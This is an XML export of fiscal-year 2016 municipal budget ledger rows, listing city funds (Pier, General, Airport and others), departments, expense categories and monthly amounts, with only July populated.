<row _id="21135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8307</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8307</total></row>
<row _id="21136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="21137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>279083</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>279083</total></row>
<row _id="21138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>578420.0</object><object_description>POLICE PIER PATROL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>392666</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>392666</total></row>
<row _id="21139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="21143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408290.0</object><object_description>FIRE SAFETY OFFICER ASSIGN FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-300000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-300000</total></row>
<row _id="21144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19341</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19341</total></row>
<row _id="21145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12562</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12562</total></row>
<row _id="21146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5290</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5290</total></row>
<row _id="21147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-12928</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12928</total></row>
<row _id="21148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37000</total></row>
<row _id="21149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533216.0</object><object_description>BLDG/CUSTODIAL SUPPLIES - LIB</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>68000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>68000</total></row>
<row _id="21150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG OPER/SUPPLIES-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>47000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47000</total></row>
<row _id="21151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555951.0</object><object_description>FAC MAINT-KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7000</total></row>
<row _id="21152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>97985</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97985</total></row>
<row _id="21153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1400</total></row>
<row _id="21154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>350</total></row>
<row _id="21155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>69046</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69046</total></row>
<row _id="21156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7080</total></row>
<row _id="21157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>101675</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>101675</total></row>
<row _id="21158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1045</total></row>
<row _id="21159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4839</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4839</total></row>
<row _id="21160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13404</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13404</total></row>
<row _id="21161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>306</total></row>
<row _id="21162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6640</total></row>
<row _id="21164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>414</total></row>
<row _id="21165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>113907</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>113907</total></row>
<row _id="21166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577240.0</object><object_description>SERVICE AGREEMENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>268940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>268940</total></row>
<row _id="21167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>116416</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>116416</total></row>
<row _id="21168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8323</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8323</total></row>
<row _id="21169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>65000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>65000</total></row>
<row _id="21170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522135.0</object><object_description>UTILITIES - WATER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>58131</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>58131</total></row>
<row _id="21171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533215.0</object><object_description>BLDG/CUSTODIAL SUPPLIES-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56000</total></row>
<row _id="21172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566100.0</object><object_description>STREET LIGHT / POLE REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="21173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20260</total></row>
<row _id="21174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2947</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2947</total></row>
<row _id="21175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>266191</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>266191</total></row>
<row _id="21176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12390</total></row>
<row _id="21177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>191703</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>191703</total></row>
<row _id="21178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6629</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6629</total></row>
<row _id="21179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566330.0</object><object_description>STREET LIGHT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>174000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>174000</total></row>
<row _id="21180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>59000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59000</total></row>
<row _id="21181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>456237</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>456237</total></row>
<row _id="21183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3014</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3014</total></row>
<row _id="21184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3356</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3356</total></row>
